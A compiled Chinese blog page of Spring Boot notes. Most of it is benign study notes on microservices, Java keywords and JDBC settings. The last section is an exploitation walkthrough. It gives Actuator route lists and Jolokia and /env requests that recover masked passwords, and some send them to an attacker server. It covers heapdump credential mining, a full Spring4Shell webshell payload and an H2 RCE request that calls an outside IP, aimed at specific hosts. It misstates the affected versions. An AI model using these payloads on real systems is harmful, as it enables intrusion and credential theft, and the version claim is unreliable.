springboot
- Spring Boot与Kubernetes云原生微服务架构实践
- springboot+freemark+jpa角色权限脚手架-自定义查询批量删除及列表查询
- springboot+freemark+jpa角色权限脚手架-利用jpa进行数据库的增删改查操作
- SpringBoot实战校园二手市场管理系统-前台首页控制器及页面设计实现
- shiro-springboot-配置整合
- shiro-springboot-基础工程创建
- springboot+freemark+jpa角色权限脚手架-采用注解方式利用实体自动生成数据库表
- springboot+freemark+jpa角色权限脚手架-freemark基础语法详细讲解及演示操作
- springboot+freemark+jpa角色权限脚手架-springboot自带日志进行打印日志及freemark语法
- SpringBoot项目实战:企业项目管理系统-Lombok和实体类
- springboot+freemark+jpa角色权限脚手架-配置文件自由切换及从配置文件读取值并显示在页
- springboot+freemark+jpa角色权限脚手架-从控制器传值到freemark模板并展示在页面
- springboot+freemark+jpa角色权限脚手架-使用springbootboot实现hello world并进行自定义
- springboot+freemark+jpa角色权限脚手架-新建 springbootboot项目并运行起来
- SpringBoot项目实战:企业项目管理系统-云计算和Saas
- Springboot信息管理系统——后台登录功能
- Springboot信息管理系统——项目创建、框架搭建
- Springboot信息管理系统——数据库创建
- springboot
- @Configuration注解的底层核心原理
- @Bean注解的底层核心原理
- 漏洞复现-Springboot漏洞分析及利用 Spring Boot Vulnerability
- 参考 这个 github整理
- 路由和版本
- 组件版本的相互依赖关系:
- 一:信息泄露
- 二、 远程代码执行
- CNVD-2022-23942 2022-03-29
- 漏洞利用条件
- 漏洞影响范围
- 复现过程
- Spring Boot Actuator H2 RCE
- 参考文章
Spring Boot与Kubernetes云原生微服务架构实践
杨波 06-12 微服务技术专家 eBay 开放平台 研发
12-15携程 微服务核心中间件
拍拍贷框架研发技术总监 容器云平台研发 云原生
微服务:
一种软件开发技术- 面向服务的体系结构(SOA)架构样式的一种变体,
它提倡将单一应用程序划分成一组小的服务,服务之间互相协调、互相配合,为用户提供最终价值。
Api 微服务 案例驱动型 课程 原理+ 编程技术结合 + 工具
Saas 多租户 开源项目 https://github.com/geektime-geekbang/staffjoy
微服务架构
一键部署k8s容器
springboot框架 研发环节 前后分离
- 需求
- 架构设计
- 框架搭建
- 服务实现
- mock + 安全测试
- 可运维架构
- 容器云部署
02丨背景说明
devops
- 前后端分离 并行开发 技术要素
- dubbo springcloud kubernetes 微服务 主流开发 选型
- 中台架构 架构设计 技术栈选型
- spring boot 封装 应对 微服务架构 与 需求
- 登录验证 授权 安全框架
- 网关
- 国内 30% spring框架
- 微服务分布式系统 测试技术
- 分治隔离 分层测试
- saas 多租户 租户 隔离
- 配置 监控告警 部署 企业级可运维
- docker 打包 > 物理/虚拟机
- 软件工程
课程背景介绍 需求说明
目标内容
系统架构设计 技术栈选型
单页Web应用(single page web application,SPA)
业务边界拆分 解耦
单块架构
拆分时期 : 单块应用 耦合 影响 开发创新 进度
面向对象 面向组件
面向微服务
为何采用微服务架构
restfui 微服务
account 微服务 注册 认证 账户信息管理
company 微服务 团队 雇员 班次 核心业务 管理
独立数据库
bot api 消息转发服务 缓冲 通知消息 代理 屏蔽可通知方式 的变更
sms
mail 通知消息微服务
whi am i 前端消息 获取 登录用户详细信息 session 用户会话
前端 mvc应用
反向代理 网关 路由访问 登录鉴权 访问控制 唯一具有 公网ip 服务 json_http
微服务 架构 中心总体思想
应对系统复杂性 分而治之
单一职责 业务划分 受控 易于变更
开发团队 快速并行 交付
逻辑独立性
子域 继续拆分服务
springrest 微服务
springdata gpa
mvc Thymeleaf
servlet.filter 安全路由
支持 云原生 一键部署
共享数据库 的 逻辑隔离机制 公司为 隔离单位
用户在网关鉴权 服务调用 也有相应 鉴权机制
保护 数据 隔离 安全性
架构设计和技术栈选型 数据和接口模型设计:账户服务
数据库 模型设计
账户服务
数据和接口模型设计:公司服务
核心业务模型 七个 表
一对多
数据和接口模型设计:业务服务
技术栈 选型
面向服务架构(SOA)是一个组件模型,它将应用程序的不同功能单元(称为服务)进行拆分,
并通过这些服务之间定义良好的接口和协议联系起来。
阿里
net
谷歌
引进的 技术解决方案
分布式微服务开发框架
自成一体 架构缺乏一致性 同时维护多套体系
深入理解
交付 服务价值 需要 基础设施支撑
配置 :
启动期一次性配置 数据库连接字符串
运行期动态配置 缓存过期时间
业务数量
服务发现 负载均衡:
服务分布在 不同节点上 相互调用
定位找到对方 = 服务发现(微服务架构 基本问题)
服务以 多实例方式 部署
调用方 以 负载均衡 策略 访问 目标 服务实例
容错弹性 :分布式 通过 网络 互联(不稳定、宕机、延迟、出错)
微服务系统 对外暴露 api 通过 api网关 进行管理
网关 支持 反向路由 安全鉴权 日志监控 限流 容错
高级: 蓝绿部署、A/B测试以及灰度发布
用户 认证 – 敏感操作 鉴权
服务之间 也需要 权限管控
metrics监控 : 微服务调用量 延迟 性能监控
业务指标 登录数 下单数
调用链监控: 掌握 微服务 错综复杂的 依赖关系 性能等
容器云环境 的 部署 资源调度发布
滚动发布 蓝绿发布 企业高级发布 机制
10自愈 自动伸缩 节省硬件资源
云环境 节点 宕机 漂移
微服务 自动检测 自动恢复
关注点 抽象封装—软件产品 微服务框架/平台
Netflix Google 阿里 解决方案
侧重点 不同
dubbo – zk(zookeeper 服务发现)
nacos 更通用
springcloud + eureka
k8s + service(服务发现+LB负载均衡)
api网关 阿里 内部 业务 耦合 不好开源
spring config 后端基于 git进行 管理
k8s 配置 可以对接 各种 存储机制
sentinel 生产级 限流平台
k8s 健康检查 启动就绪探针 机制
Dubbo、SpringCloud和Kubernetes该如何选型
横向比对
springcloud 支持 嵌入式容器
k8s 容器镜像部署 Helm打包 应用商店
k8s 支持 自动故障检测 自愈能力
进程隔离 服务隔离
逻辑隔离 多环境 认证授权机制
使用量限制 配额管理
蓝绿测试 流量调度能力
HSF (High-speed Service Framework),是在阿里巴巴内部广泛使用的分布式 RPC 服务框架。
流量治理 细致
spring 灵活组装
jvm语言栈 吃资源
k8s 活跃 微服务标配
面向服务架构(SOA)是一个组件模型,
它将应用程序的不同功能单元(称为服务)进行拆分,
并通过这些服务之间定义良好的接口和协议联系起来。
社区生态 + 微服务 关注点
springboot + k8s
用现成的 公有云 k8s 不 自己运维
- 业务 与 组织 的 概念 —— 中台
2015 大中台 小前台 中台战略 阿里
业务经验 组织沉淀 抽象 封装 重用
对前台业务 强力支撑
iaas 运维 基础设施 计算 网络 存储 发布
商业能力模块 共享业务 能力 层 形成api 供上层 调用
企业 中高层 业务组织 架构 技术总监 架构师
业务基础设施层
技术平台层
应用平台服务层
客户体验层
中台架构 通用型
初创公司 不需要 创建自己的 底层 基础设施 平台
开发应用 一键部署 到 公有云
springboot+freemark+jpa角色权限脚手架-自定义查询批量删除及列表查询
springboot+freemark+jpa角色权限脚手架-利用jpa进行数据库的增删改查操作
SpringBoot实战校园二手市场管理系统-前台首页控制器及页面设计实现
shiro-springboot-配置整合
shiro-springboot-基础工程创建
JAVA中extends 与implements有啥区别?
- 在类的声明中,通过关键字extends来创建一个类的子类。一个类通过关键字implements声明自己使用一个或者多个接口。
extends 是继承某个类, 继承之后可以使用父类的方法, 也可以重写父类的方法; implements 是实现多个接口, 接口的方法一般为空的, 必须重写才能使用
2.extends是继承父类,只要那个类不是声明为final或者那个类定义为abstract的就能继承,JAVA中不支持多重继承,但是可以用接口 来实现,这样就要用到implements,继承只能继承一个类,但implements可以实现多个接口,用逗号分开就行了
比如
class A extends B implements C,D,E
====================================================
extends与implements的不同
extends是继承父类,只要那个类不是声明为final或者那个类定义为abstract的就能继承,JAVA中不支持多重 继承,但是可以用接口来实现,这样就要用到implements,继承只能继承一个类,但implements可以实现多个接口,用逗号分开就行了
比如
class A extends B implements C,D,E
//
一个类通过关键字implements声明自己使用一个或者多个接口。在类的声明中,通过关键字extends来创建一个类的子类。
class 子类名 extends 父类名 implenments 接口名
{…
}
implements 也是实现父类和子类之间继承关系的关键字,如类 A 继承 类 B 写成 class A implements B{}.
implements是一个类实现一个接口用的关键字,他是用来实现接口中定义的抽象方法。比如:people是一个接口,他里面有say这个方法。public interface people(){ public say();}但是接口没有方法体。只能通过一个具体的类去实现其中的方法体。比如chinese这个类,就实现了people这个接口。 public class chinese implements people{ public say() {System.out.println(“你好!”);}}
接口实现的注意点:
a.实现一个接口就是要实现该接口的所有的方法(抽象类除外)。
b.接口中的方法都是抽象的。
c.多个无关的类可以实现同一个接口,一个类可以实现多个无关的接口。
springboot+freemark+jpa角色权限脚手架-采用注解方式利用实体自动生成数据库表
jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=UTF-8&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=UTC
Mysql JDBC Url参数说明
useUnicode=true&characterEncoding=UTF-8
MySQL的 JDBC URL 格式
for Connector/J 如下例:
jdbc:mysql://
[host][,failoverhost…][:port]/[database] »
[?propertyName1][=propertyValue1][&propertyName2][=propertyValue2]…
jdbc:mysql://[host:port],[host:port]…/[database] »
[?propertyName1][=propertyValue1][&propertyName2][=propertyValue2]…
实例:
jdbc:mysql://localhost:3306/sakila?profileSQL=true
Add ‘logger’ and ‘profileSQL’ to the jdbc url:
&logger=com.mysql.jdbc.log.Slf4JLogger&profileSQL=true
现只列举几个重要的参数,如下表所示:
参数名称 参数说明 缺省值 最低版本要求
user 数据库用户名(用于连接数据库) 所有版本
password 用户密码(用于连接数据库) 所有版本
useUnicode 是否使用Unicode字符集,如果参数characterEncoding设置为gb2312或gbk,本参数值必须设置为true false 1.1g
characterEncoding 当useUnicode设置为true时,指定字符编码。比如可设置为gb2312或gbk false 1.1g
autoReconnect 当数据库连接异常中断时,是否自动重新连接? false 1.1
autoReconnectForPools 是否使用针对数据库连接池的重连策略 false 3.1.3
failOverReadOnly 自动重连成功后,连接是否设置为只读? true 3.0.12
maxReconnects autoReconnect设置为true时,重试连接的次数 3 1.1
initialTimeout autoReconnect设置为true时,两次重连之间的时间间隔,单位:秒 2 1.1
connectTimeout 和数据库服务器建立socket连接时的超时,单位:毫秒。 0表示永不超时,适用于JDK 1.4及更高版本 0 3.0.1
socketTimeout socket操作(读写)超时,单位:毫秒。 0表示永不超时 0 3.0.1
对应中文环境,通常mysql连接URL可以设置为:
jdbc:mysql://localhost:3306/test?user=root&password=&useUnicode=true&characterEncoding=gbk&autoReconnect=true&failOverReadOnly=false
在使用数据库连接池的情况下,最好设置如下两个参数:
autoReconnect=true&failOverReadOnly=false
需要注意的是,在xml配置文件中,url中的&符号需要转义成&。
比如在tomcat的server.xml中配置数据库连接池时,
mysql jdbc url样例如下:
jdbc:mysql://localhost:3306/test?user=root&password=&useUnicode=true&characterEncoding=gbk
&autoReconnect=true&failOverReadOnly=false
mysql sql语句别名不生效问题: useOldAliasMetadataBehavior
实例:
jdbc:mysql://localhost/openemm?useUnicode=yes&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true
其中:dbc: mysql://localhost/openemm?这个代表数据库链接地址,
useUnicode=yes&characterEncoding=UTF-8这个代表允许用户自己设定数据库编码,而且设置成UTF-8
useOldAliasMetadataBehavior=true这个代表数据库里面允许有别名
springboot+freemark+jpa角色权限脚手架-freemark基础语法详细讲解及演示操作
springboot+freemark+jpa角色权限脚手架-springboot自带日志进行打印日志及freemark语法
Ctrl+Shift+A 快捷键搜索"Registry"
<!-- spring-boot-devtools热启动依赖包 start-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<optional>true</optional>
<scope>true</scope>
</dependency>
<!-- spring-boot-devtools热启动依赖包 end-->
#热部署
spring.devtools.restart.enabled=true
SpringBoot项目实战:企业项目管理系统-Lombok和实体类
springboot+freemark+jpa角色权限脚手架-配置文件自由切换及从配置文件读取值并显示在页
springboot+freemark+jpa角色权限脚手架-从控制器传值到freemark模板并展示在页面
springboot+freemark+jpa角色权限脚手架-使用springbootboot实现hello world并进行自定义
springboot+freemark+jpa角色权限脚手架-新建 springbootboot项目并运行起来
SpringBoot项目实战:企业项目管理系统-云计算和Saas
Springboot信息管理系统——后台登录功能
Springboot信息管理系统——项目创建、框架搭建
Shift+Ctrl+Alt+/
maven依赖信息网地址:http://mvnrepository.com/
http://archive.apache.org/dist/tomcat/tomcat-connectors/native/1.2.14/binaries/
Springboot信息管理系统——数据库创建
springboot
@Configuration注解的底层核心原理
https://www.bilibili.com/video/BV1rq4y1E7gK/?spm_id_from=333.999.0.0&vd_source=f21773b7086456ae21a58a6cc59023be
spring.io
全家桶 24个项目
依赖 基于 spring framework
AOP IOC
springboot + Tomcat ?
springboot 自动配置?
添加一下配置就OK
main函数 打开 tomcat
springMVC + Tomcat ?
(spring + springMVC + mybatis)
springmvc.xml 完成SSM整合
web.xml
依赖引入
配置 bean
controller + service
路径–>controller
在webapp
WEB-INF
内配置
springmvc属于 spring framework
是 springframework的一个特征
与 spring webFlux AOP 事务 是一个等级
+1 spring配置文件 作为扫描的包
把spring配置文件加入web.xml 中
servlet有前缀
@Bean注解的底层核心原理
漏洞复现-Springboot漏洞分析及利用 Spring Boot Vulnerability
参考 这个 github整理
https://github.com/LandGrey/SpringBootVulExploit
Spring Boot Vulnerability Exploit Check List
路由和版本
路由知识
-
有些程序员会自定义 /manage、/management 、项目 App 相关名称为 spring 根路径
-
Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,
2.x 版本则统一以 /actuator 为起始路径 -
Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv
版本知识
Spring Cloud 是基于 Spring Boot 来进行构建服务,
并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。
组件版本的相互依赖关系:
依赖项 版本列表及依赖组件版本
spring-boot-starter-parent spring-boot-starter-parent
spring-boot-dependencies spring-boot-dependencies
spring-cloud-dependencies spring-cloud-dependencies
Spring Cloud 与 Spring Boot 版本之间的依赖关系:
Spring Cloud 大版本 Spring Boot 版本
Angel 兼容 Spring Boot 1.2.x
Brixton 兼容 Spring Boot 1.3.x、1.4.x
Camden 兼容 Spring Boot 1.4.x、1.5.x
Dalston 兼容 Spring Boot 1.5.x,不兼容 2.0.x
Edgware 兼容 Spring Boot 1.5.x,不兼容 2.0.x
Finchley 兼容 Spring Boot 2.0.x,不兼容 1.5.x
Greenwich 兼容 Spring Boot 2.1.x
Hoxton 兼容 Spring Boot 2.2.x
Spring Cloud 小版本号的后缀及含义:
小版本号后缀 含义
BUILD-SNAPSHOT 快照版,代码不是固定,处于变化之中
MX 里程碑版
RCX 候选发布版
RELEASE 正式发布版
SRX (修复错误和 bug 并再次发布的)正式发布版
一:信息泄露
路由地址及接口调用详情泄漏
开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等
直接访问以下两个 swagger 相关路由,验证漏洞是否存在:
/v2/api-docs
/swagger-ui.html
其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由:
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
下面的 spring boot actuator 相关路由
有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示自动配置报告
/configprops - 显示配置属性
/trace - 显示最后几条HTTP消息(可能包含会话标识符)
/logfile - 输出日志文件的内容
/shutdown - 关闭应用程序
/info - 显示应用信息
/metrics - 显示当前应用的’指标’信息
/health - 显示应用程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应用程序
Spring Boot Actuator未授权访问
一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,
但是以 “默认安全” 来讲,不暴露出这些信息更加安全。
对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,
并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。
配置不当而暴露的路由
主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置
参考 spring 参考指南 production-ready-endpoints 和 spring-boot.txt
https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints
https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt
可能因为配置不当而暴露的默认内置路由可能会有:
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
其中对寻找漏洞比较重要接口的有:
- /env
- /actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、
配置中的用户名等信息;
当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,
会泄露密码明文;
同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,
间接触发相关 RCE 漏洞;
同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
- /refresh
- /actuator/refresh
POST 请求 /env 接口设置属性后,
可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。
- /restart
- /actuator/restart
暴露出此接口的情况较少
可以配合 POST请求 /env 接口设置属性后,
再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。
- /jolokia
- /actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean,
间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
- /trace
- /actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;
以及有效用户或管理员的 cookie、jwt token 等信息。
获取被星号脱敏的密码的明文 (方法一)
访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
利用条件:
目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)
利用方法:
步骤一: 找到想要获取的属性名
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,
找到想要获取的被星号 * 遮掩的属性值对应的属性名。
步骤二: jolokia 调用相关 Mbean 获取明文
将下面示例中的 security.user.password 替换为实际要获取的属性名,
直接发包;明文值结果包含在 response 数据包中的 value 键中。
调用 org.springframework.boot Mbean
实际上是调用
org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar
类实例的 getProperty 方法
spring 1.x
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
调用 org.springframework.cloud.context.environment Mbean
实际上是调用
org.springframework.cloud.context.environment.EnvironmentManager
类实例的 getProperty 方法
spring 1.x
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
调用其他 Mbean
目标具体情况和存在的 Mbean 可能不一样,
可以搜索 getProperty 等关键词,寻找可以调用的方法。
获取被星号脱敏的密码的明文 (方法二)
利用条件:
可以 GET 请求目标网站的 /env
可以 POST 请求目标网站的 /env
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
目标可以请求攻击者的服务器(请求可出外网)
利用方法:
步骤一: 找到想要获取的属性名
GET 请求目标网站的 /env 或 /actuator/env 接口,
搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
步骤二: 使用 nc 监听 HTTP 请求
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性
将下面 http://value:${security.user.password}@your-vps-ip
中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;
your-vps-ip 换成自己外网服务器的真实 ip 地址。
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
步骤四: 刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
步骤五: 解码属性值
正常的话,此时 nc 监听的服务器会收到目标发来的请求,
其中包含类似如下 Authorization 头内容:
Authorization: Basic dmFsdWU6MTIzNDU2
将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码,
即可获得类似明文值 value:123456,其中的 123456 即是目标星号 * 脱敏前的属性值明文。
获取被星号脱敏的密码的明文 (方法三)
利用条件:
通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求
目标可以请求攻击者的服务器(请求可出外网)
利用方法:
参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据
https://github.com/LandGrey/SpringBootVulExploit/issues/1
步骤一: 找到想要获取的属性名
GET 请求目标网站的 /env 或 /actuator/env 接口,
搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
步骤二: 使用 nc 监听 HTTP 请求
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
步骤三: 触发对外 http 请求
spring.cloud.bootstrap.location 方法(同时适用于明文数据中有特殊 url 字符的情况)
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况)
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
步骤四: 刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
获取被星号脱敏的密码的明文 (方法四)
访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
利用条件:
可正常 GET 请求目标 /heapdump 或 /actuator/heapdump 接口
利用方法:
步骤一: 找到想要获取的属性名
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
步骤二: 下载 jvm heap 信息
下载的 heapdump 文件大小通常在 50M—500M 之间,有时候也可能会大于 2G
GET 请求目标的 /heapdump 或 /actuator/heapdump 接口,下载应用实时的 JVM 堆信息
步骤三: 使用 MAT 获得 jvm heap 中的密码明文
https://landgrey.me/blog/16/
https://www.eclipse.org/mat/downloads.php
参考 文章 方法,使用 Eclipse Memory Analyzer 工具的 OQL 语句
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 “password” 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
二、 远程代码执行
CNVD-2022-23942 2022-03-29
2022年3月30日,Spring框架曝出RCE 0day漏洞
国家信息安全漏洞共享平台(CNVD)已收录了Spring框架远程命令执行漏洞
可写入webshell以及命令执行
Spring框架的JDK9版本(及以上版本)中,
远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,
从而触发pipeline机制并写入任意路径下的文件。
漏洞利用条件
1、Apache Tomcat作为Servlet容器;
2、使用JDK9及以上版本的Spring MVC框架;
3、Spring框架以及衍生的框架spring-beans-*.jar文件或者存在CachedIntrospectionResults.class
漏洞影响范围
1、JDK9+
2、Spring Framework
5.3.18+
5.2.20+
复现过程
利用class对象构造利用链
对Tomcat的日志配置进行修改
然后,向日志中写shell
完整利用链:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=
写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
文件日期格式(实际构造为空值即可)
构造payload
class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
发送payload:
GET方式发送(需要分五次请求,以下为其中一次),出现ok说明执行成功
http://123.58.236.76:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
http://123.58.236.76:27379/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://123.58.236.76:27379/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://123.58.236.76:27379/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
http://123.58.236.76:27379/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
访问http://123.58.236.76:27379/shell.jsp
将内容更改为webshell,并让它解析
写入webshell到网站根目录
url编码前的webshell:
%{c2}i if("t".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
url编码后的webshell:
%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
访问http://123.58.236.76:27379/shell.jsp?pwd=t&cmd=ls /tmp
Spring Boot Actuator H2 RCE
https://blog.csdn.net/xuandao_ahfengren/article/details/112850107
POST /actuator/env HTTP/1.1
Host: 222.134.47.198:1111
Content-Type: application/json
Content-Length: 356
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl 101.43.159.27:1474');"}
POST /actuator/restart HTTP/1.1
Host: 222.134.47.198:1111
Content-Type: application/json
Content-Length: 2
{}
curl -X POST www.zpcsgr.com:8094/actuator/restart
参考文章
实战案例:记一次利用SpringBoot相关RCE漏洞拿下某数字化平台系统
https://mp.weixin.qq.com/s/Sr3YbRSjGguMSsqiTO48iQ